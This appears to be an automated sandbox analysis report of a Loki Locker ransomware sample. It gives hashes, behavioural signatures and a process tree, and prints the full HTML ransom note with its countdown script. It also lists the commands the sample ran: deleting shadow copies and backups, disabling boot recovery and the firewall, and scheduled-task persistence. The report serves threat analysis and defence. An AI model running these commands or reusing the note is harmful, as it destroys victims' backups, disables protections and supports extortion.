Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-10-2024 02:56

General

  • Target

    e28b0a93649010788bbeda883a08254fefe3710700fc2c5a8dea94ec39402ec3.exe

  • Size

    499KB

  • MD5

    d7d28006e0679b1f2ea0a87ba94f4af0

  • SHA1

    675f7b9185ccc3241650ff2fd96f5e1a0bbf63ee

  • SHA256

    e28b0a93649010788bbeda883a08254fefe3710700fc2c5a8dea94ec39402ec3

  • SHA512

    b3f9257825850e4f2920d05f45eece26323d81d06a761fa2e5b2d154535d45f996a316e238f2d29fb82081a133dfd5ad304835317e65fa72f9fc2e1acbfce03a

  • SSDEEP

    12288:dSGy1fPQ+biwPPMgasqdprlTT6zncVUJ7vn:kGy1fP9PPIrTT6DN

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
<html> <head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head> <style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}#t{text-align: center; color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{text-align: center; font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; text-align: center; border-bottom: 0; font-size: 2vw;}</style> <script>var countDownDate = new Date(2024,9,25,2,56,52).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false);}}, 1000); </script> <body > <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">DEC82EC4</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body> </html>
Emails

class="m">[email protected]</span>

class="m">[email protected]</span>

URLs

http-equiv="x-ua-compatible"

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Drops startup file 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 38 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
  • Modifies registry class 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\e28b0a93649010788bbeda883a08254fefe3710700fc2c5a8dea94ec39402ec3.exe
    "C:\Users\Admin\AppData\Local\Temp\e28b0a93649010788bbeda883a08254fefe3710700fc2c5a8dea94ec39402ec3.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Drops startup file
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2276
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:604
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1316
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bkklml2u\bkklml2u.cmdline"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB01D.tmp" "c:\ProgramData\CSCA8564EA948F8445EAA807B5911DE5E8E.TMP"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • System Location Discovery: System Language Discovery
        • Interacts with shadow copies
        PID:2440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2052
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2200
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1592
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\SysWOW64\netsh.exe
        netsh advfirewall set currentprofile state off
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:1312
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall set opmode mode=disable
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:2176
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:2808
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:2020
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:1592
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:672
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:548
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\winlogon.exe

    Filesize

    499KB

    MD5

    d7d28006e0679b1f2ea0a87ba94f4af0

    SHA1

    675f7b9185ccc3241650ff2fd96f5e1a0bbf63ee

    SHA256

    e28b0a93649010788bbeda883a08254fefe3710700fc2c5a8dea94ec39402ec3

    SHA512

    b3f9257825850e4f2920d05f45eece26323d81d06a761fa2e5b2d154535d45f996a316e238f2d29fb82081a133dfd5ad304835317e65fa72f9fc2e1acbfce03a

  • C:\ProgramData\z1fvzqe1.exe

    Filesize

    32KB

    MD5

    3a9cd8235f191454aefed23ce8f9e8cb

    SHA1

    f58b8f51666065a296206a1344c82c522cac2b8a

    SHA256

    f59f4c8140c0f2f5d24b5f63154b6b8f29d27bdaf1824f06d9bea01428bfb8ce

    SHA512

    4de7950023a75dcd6020937f4e18334f66dc8e1dec6ca43a7e044210e306204801b84341776633fd2efdfc3737c0b15cf59729c47fded8dde3913ea34c00dfc2

  • C:\Users\Admin\AppData\Local\Temp\RESB01D.tmp

    Filesize

    29KB

    MD5

    f494a0b5dfcda36abbaf74da6ff4556b

    SHA1

    d70b88648ba5621291c59108e3338b4bac0e33d8

    SHA256

    210ac4218da41134729fd9b1abd2004315cab62cfa7279dec50b5aa8384c2fba

    SHA512

    8152df2603969d27ec9accf091402475062449fd4373022a8b5c69ff968e964e3d639f71a69036bd0df70e73a85164d8cec5ed9766bb42c4ab7b34e68dfd0f98

  • C:\Users\Admin\AppData\Local\Temp\info.hta

    Filesize

    3KB

    MD5

    0736088cc01aede2a20d6b07e6569618

    SHA1

    c4db66300cc98bf61e71b4020e3bcab5f0b4312b

    SHA256

    ab5df89adf589db0987901e765588fa194615a0f8689fb3538e4fb06cf0baf4f

    SHA512

    ff920b835e6497c039a43f31305c9c6a1176ae57c9e965deab18b4c48aa006dccb08ab802a962a03227a3555bdcf411f35a853a6807f34059ebc317bbe1535df

  • C:\Users\Admin\Desktop\Cpriv.Loki

    Filesize

    2KB

    MD5

    d420ce360228ea95b9fb80ede089fb63

    SHA1

    5b4e6f9a7e77708587b4db824d8a96977d425cd1

    SHA256

    d762fefcbd1e6906b6336509c871d7873cd5cad5fb32eefee233317f07ee4dbd

    SHA512

    afc58b9249f603b3f48cf25e3fe6d050c3d9d1a5bb5cc45916244c6aefa0f32d35ce6d76b13a1e53adc6a8f2d9f88f40679240b16fa759a94cb0763928ec3664

  • C:\Users\Admin\Downloads\Restore-My-Files.txt

    Filesize

    344B

    MD5

    c0c4880253b7cb1e6f9481b057241a79

    SHA1

    81ae354ce1e3900ac2cd3127885930401786b079

    SHA256

    731792b5598d446dbc65d6c83200273eff2f510ad9e64863597e0175e8531d6b

    SHA512

    e3d4b0d6be946eac6ae3ae3cb7c235760ac65c656112b6feb02b6ede3b5520f917f38e0761d1b705a32aa74f4caa3bc539128b25a8d90622a5b0f70731deb755

  • \??\c:\ProgramData\CSCA8564EA948F8445EAA807B5911DE5E8E.TMP

    Filesize

    28KB

    MD5

    85b4eedd9538a088879e8377faf5f005

    SHA1

    d29163688133d9c571dd2dce5c2b6dbc2d36bfa0

    SHA256

    6affe7f82f5cd2aff9e3ee8a27e39d679232cb92f2be52e87649a3d563eea3d6

    SHA512

    6c3aec7055331b11862f791e60623a064629b08a3a2d33a18becd15a790c8b7481b438ddbb0c3369157b7b4deeacd756cacf6fe310c0724d1dccd9f6ba47f9bd

  • \??\c:\Users\Admin\AppData\Local\Temp\bkklml2u\bkklml2u.0.cs

    Filesize

    1KB

    MD5

    367f1bb91576f965028702350adb0f41

    SHA1

    ed9b257229e29681d74489c6a4031d62cca0b707

    SHA256

    f646f16ea464b07a0514c1eebc8f3637caf5e9f7f4800e74d79d7ebe271848be

    SHA512

    b30ea2df60051d5835307febba64d364ae8c4439a6e14f3ec6abe9a442e5e3955963a1626dfb28517e3570e5188b4278cdd903eff6f9fdf957ded7ca0efb7c96

  • \??\c:\Users\Admin\AppData\Local\Temp\bkklml2u\bkklml2u.cmdline

    Filesize

    236B

    MD5

    da32d83d7deb6222711162bfa352c686

    SHA1

    817380a84a7845606dce5f56114869bae3f26683

    SHA256

    804a3d16333aad6a1130cdcb37038aa9fc2ef8a82ccd682142daf8b220abad22

    SHA512

    88719dfe9720b747c94ef6dd024cf129c727d2f048ec9e9f6348eb06b992efd5d9d7a77c4e09870c3ae8ac71c7f71af92eb5d7665ea8041fd3ea781f91e3c36c

  • \??\c:\Users\Admin\AppData\Local\Temp\cslzjr1v.ico

    Filesize

    27KB

    MD5

    dbc49b5f7714255217080c2e81f05a99

    SHA1

    4de2ef415d66d2bb8b389ba140a468b125388e19

    SHA256

    6d2f1f6164cbd331b9dc43b37948372e21b2ee45407aa99e199693835cded09c

    SHA512

    29a65eb7403bfc220fd057c2e6ea11b29bff545dfce2d3370ad462c66b03ae7f648efd480305423a49440de199a2a94c41214877b226a42dc2d1650683d149bb

  • memory/2276-0-0x00000000747EE000-0x00000000747EF000-memory.dmp

    Filesize

    4KB

  • memory/2276-2-0x00000000747E0000-0x0000000074ECE000-memory.dmp

    Filesize

    6.9MB

  • memory/2276-189-0x00000000747EE000-0x00000000747EF000-memory.dmp

    Filesize

    4KB

  • memory/2276-604-0x00000000747E0000-0x0000000074ECE000-memory.dmp

    Filesize

    6.9MB

  • memory/2276-1-0x0000000001200000-0x0000000001288000-memory.dmp

    Filesize

    544KB